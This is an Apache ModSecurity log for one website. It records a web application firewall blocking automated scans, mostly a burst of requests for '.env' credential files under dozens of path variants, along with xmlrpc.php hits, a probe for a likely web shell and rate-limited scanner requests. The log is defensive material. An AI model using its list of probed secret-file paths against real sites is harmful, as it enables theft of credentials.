[Sat Mar 21 08:37:23.620391 2026] [:error] [pid 43052:tid 43064] [client 162.158.111.17:11551] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "ab3oQ15fjm-AiInC1hLWuAAAA4o"]
[Sat Mar 21 08:37:23.621058 2026] [:error] [pid 43101:tid 43107] [client 162.158.110.219:11014] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "ab3oQx8E1YN21AwJqbLPNgAAA8Q"]
[Sat Mar 21 08:37:23.814195 2026] [:error] [pid 1601:tid 1614] [client 172.68.194.138:9779] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "ab3oQ6dDBYVcyITq-IFmGQAAAMk"]
[Sat Mar 21 08:37:23.913722 2026] [:error] [pid 33584:tid 33603] [client 162.158.111.17:11558] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "ab3oQ-ATEQBBo5z2Hkk5YwAAAdE"]
[Sat Mar 21 08:37:24.051602 2026] [:error] [pid 1491:tid 1583] [client 162.158.111.18:10873] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "ab3oRK3VfHftzE9w9t4MbwAAAJM"]
[Sat Mar 21 08:37:24.119030 2026] [:error] [pid 1489:tid 1508] [client 162.158.110.63:9433] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "ab3oRFRvnvBO_DG9kxsXcQAAAAU"]
[Sat Mar 21 08:37:24.131291 2026] [:error] [pid 1489:tid 1512] [client 162.158.111.17:11566] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/private/.env"] [unique_id "ab3oRFRvnvBO_DG9kxsXcgAAAAg"]
[Sat Mar 21 08:37:24.315351 2026] [:error] [pid 1489:tid 1503] [client 172.68.194.138:9780] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env.local"] [unique_id "ab3oRFRvnvBO_DG9kxsXcwAAAAA"]
[Sat Mar 21 08:37:24.429599 2026] [:error] [pid 1489:tid 1506] [client 162.158.110.62:11012] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.php"] [unique_id "ab3oRFRvnvBO_DG9kxsXdAAAAAM"]
[Sat Mar 21 08:37:24.560459 2026] [:error] [pid 42983:tid 43006] [client 162.158.111.18:10874] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.json"] [unique_id "ab3oRL_a8iOfxTrbIyoHQQAAA1Q"]
[Sat Mar 21 08:37:24.634286 2026] [:error] [pid 1489:tid 1527] [client 162.158.110.62:11018] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_backup"] [unique_id "ab3oRFRvnvBO_DG9kxsXdgAAABc"]
[Sat Mar 21 08:37:24.641888 2026] [:error] [pid 42983:tid 43003] [client 162.158.110.218:13140] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "ab3oRL_a8iOfxTrbIyoHQgAAA1E"]
[Sat Mar 21 08:37:24.678363 2026] [:error] [pid 1601:tid 1622] [client 172.68.194.139:14318] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env1"] [unique_id "ab3oRKdDBYVcyITq-IFmGgAAANE"]
[Sat Mar 21 08:37:24.690915 2026] [:error] [pid 42739:tid 42751] [client 162.158.110.62:11005] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "ab3oRBd10R2df_gKvbHiagAAAsg"]
[Sat Mar 21 08:37:24.846504 2026] [:error] [pid 42983:tid 43008] [client 172.68.194.139:14319] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env2"] [unique_id "ab3oRL_a8iOfxTrbIyoHRAAAA1Y"]
[Sat Mar 21 08:37:25.084019 2026] [:error] [pid 42983:tid 42996] [client 162.158.111.18:10876] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.envrc"] [unique_id "ab3oRb_a8iOfxTrbIyoHRQAAA0o"]
[Sat Mar 21 08:37:25.156363 2026] [:error] [pid 42983:tid 42986] [client 162.158.110.218:13141] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.orig"] [unique_id "ab3oRb_a8iOfxTrbIyoHRgAAA0A"]
[Sat Mar 21 08:37:25.158567 2026] [:error] [pid 42983:tid 42993] [client 162.158.111.18:10880] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.bak"] [unique_id "ab3oRb_a8iOfxTrbIyoHRwAAA0c"]
[Sat Mar 21 08:37:25.208166 2026] [:error] [pid 42983:tid 43007] [client 162.158.111.17:11571] [client 162.158.111.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "ab3oRb_a8iOfxTrbIyoHSAAAA1U"]
[Sat Mar 21 08:37:25.226050 2026] [:error] [pid 42886:tid 42907] [client 162.158.110.219:11021] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev.local"] [unique_id "ab3oRV452dC6nbNWav3oRAAAAxM"]
[Sat Mar 21 08:37:25.369343 2026] [:error] [pid 43101:tid 43111] [client 162.158.110.219:11028] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "ab3oRR8E1YN21AwJqbLPNwAAA8g"]
[Sat Mar 21 08:37:25.598665 2026] [:error] [pid 43101:tid 43117] [client 172.68.194.138:9781] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.container"] [unique_id "ab3oRR8E1YN21AwJqbLPOAAAA84"]
[Sat Mar 21 08:37:25.661345 2026] [:error] [pid 42983:tid 42994] [client 162.158.111.18:10883] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/docker/.env"] [unique_id "ab3oRb_a8iOfxTrbIyoHSgAAA0g"]
[Sat Mar 21 08:37:25.711200 2026] [:error] [pid 42886:tid 42888] [client 162.158.110.63:9441] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/docker/.env.local"] [unique_id "ab3oRV452dC6nbNWav3oRgAAAwA"]
[Sat Mar 21 08:37:25.738302 2026] [:error] [pid 42886:tid 42904] [client 162.158.110.218:13145] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/server/.env"] [unique_id "ab3oRV452dC6nbNWav3oRwAAAxA"]
[Sat Mar 21 08:37:26.097593 2026] [:error] [pid 42886:tid 42905] [client 172.68.194.139:14323] [client 172.68.194.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/srv/.env"] [unique_id "ab3oRl452dC6nbNWav3oSAAAAxE"]
[Sat Mar 21 08:37:26.176511 2026] [:error] [pid 42886:tid 42895] [client 162.158.110.218:13149] [client 162.158.110.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "ab3oRl452dC6nbNWav3oSQAAAwc"]
[Sat Mar 21 08:37:26.209082 2026] [:error] [pid 42886:tid 42909] [client 172.68.194.138:9786] [client 172.68.194.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/www/.env"] [unique_id "ab3oRl452dC6nbNWav3oSwAAAxU"]
[Sat Mar 21 08:37:26.602356 2026] [:error] [pid 42983:tid 43010] [client 162.158.110.219:11035] [client 162.158.110.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/var/www/html/.env"] [unique_id "ab3oRr_a8iOfxTrbIyoHSwAAA1g"]
[Sat Mar 21 08:37:26.689765 2026] [:error] [pid 43052:tid 43073] [client 162.158.111.18:10888] [client 162.158.111.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/home/.env"] [unique_id "ab3oRl5fjm-AiInC1hLWuwAAA5M"]
[Sat Mar 21 08:37:26.721198 2026] [:error] [pid 43052:tid 43075] [client 162.158.110.63:9444] [client 162.158.110.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/root/.env"] [unique_id "ab3oRl5fjm-AiInC1hLWvAAAA5U"]
[Sat Mar 21 08:37:27.240407 2026] [:error] [pid 1489:tid 1525] [client 162.158.110.62:11025] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env_settings"] [unique_id "ab3oR1RvnvBO_DG9kxsXeAAAABU"]
[Sat Mar 21 08:37:27.752311 2026] [:error] [pid 49170:tid 49184] [client 162.158.110.62:11031] [client 162.158.110.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local.backup"] [unique_id "ab3oR71KUC-QISS0eWpLkgAAAQw"]
[Sat Mar 21 12:07:51.577935 2026] [:error] [pid 1489:tid 1528] [client 103.163.245.234:59553] [client 103.163.245.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.163.245.234, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab4Zl1RvnvBO_DG9kxth_gAAABg"]
[Sat Mar 21 14:36:52.021348 2026] [:error] [pid 33678:tid 33691] [client 43.157.148.38:53888] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab48hDuClB_om73sXhdGrQAAAgs"]
[Sat Mar 21 16:39:38.396614 2026] [:error] [pid 1489:tid 1525] [client 45.239.238.105:39437] [client 45.239.238.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.239.238.105, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ab5ZSlRvnvBO_DG9kxvCAgAAABU"]
[Sat Mar 21 18:50:38.944592 2026] [:error] [pid 49170:tid 49180] [client 170.106.152.218:58752] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab53_r1KUC-QISS0eWrA0QAAAQg"]
[Sat Mar 21 19:48:23.733762 2026] [:error] [pid 1490:tid 1543] [client 43.156.232.190:51130] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab6Fh2SWhIPTatyxDeBPqwAAAEg"]
[Sat Mar 21 23:37:49.057900 2026] [:error] [pid 42886:tid 42894] [client 150.109.119.38:44364] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ab67TV452dC6nbNWav2TxwAAAwY"]
[Sun Mar 22 00:30:13.061802 2026] [:error] [pid 40782:tid 41036] [client 101.33.66.34:51684] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab7HleaE0aGWZHNA90tpKAAAAIM"]
[Sun Mar 22 04:21:32.041315 2026] [:error] [pid 51361:tid 51377] [client 52.138.39.105:4851] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab79zBXYUsdvKC9YWpUXrwAAAAY"]
[Sun Mar 22 04:21:32.868678 2026] [:error] [pid 51363:tid 51434] [client 52.138.39.105:4850] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab79zFwa9x6OCTRkhl0nlgAAAIY"]
[Sun Mar 22 04:21:33.695375 2026] [:error] [pid 51362:tid 51412] [client 52.138.39.105:35970] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab79zcOwPm3DXzTDjUeSdQAAAEs"]
[Sun Mar 22 04:21:34.545451 2026] [:error] [pid 51468:tid 51483] [client 52.138.39.105:35977] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab79zk2TppSvA8W5CBRYBwAAAMc"]
[Sun Mar 22 05:21:00.065555 2026] [:error] [pid 51363:tid 51439] [client 1.15.52.154:51052] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ab8LvFwa9x6OCTRkhl1FVAAAAIo"]
[Sun Mar 22 05:40:17.487072 2026] [:error] [pid 51468:tid 51493] [client 51.77.218.191:56610] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ab8QQU2TppSvA8W5CBSOeAAAANE"]
[Sun Mar 22 05:40:20.074910 2026] [:error] [pid 51468:tid 51499] [client 51.77.218.191:37226] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ab8QRE2TppSvA8W5CBSOfAAAANc"]
[Sun Mar 22 05:40:22.470738 2026] [:error] [pid 51362:tid 51400] [client 51.77.218.191:35388] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ab8QRsOwPm3DXzTDjUetTgAAAEA"]
[Sun Mar 22 05:40:24.938203 2026] [:error] [pid 51361:tid 51374] [client 51.77.218.191:35392] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ab8QSBXYUsdvKC9YWpUtewAAAAM"]
[Sun Mar 22 05:40:27.409453 2026] [:error] [pid 40039:tid 40061] [client 51.77.218.191:35396] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ab8QSx3aDgUJfBYishnuwwAAARQ"]
[Sun Mar 22 05:40:30.164028 2026] [:error] [pid 51468:tid 51490] [client 51.77.218.191:35410] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ab8QTk2TppSvA8W5CBSOkgAAAM4"]
[Sun Mar 22 05:40:32.940065 2026] [:error] [pid 51362:tid 51414] [client 51.77.218.191:36086] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ab8QUMOwPm3DXzTDjUetVQAAAE0"]
[Sun Mar 22 05:40:35.888364 2026] [:error] [pid 40039:tid 40045] [client 51.77.218.191:36102] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ab8QUx3aDgUJfBYishnuzgAAAQQ"]
[Sun Mar 22 05:40:38.741065 2026] [:error] [pid 51468:tid 51483] [client 51.77.218.191:36118] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ab8QVk2TppSvA8W5CBSOpAAAAMc"]
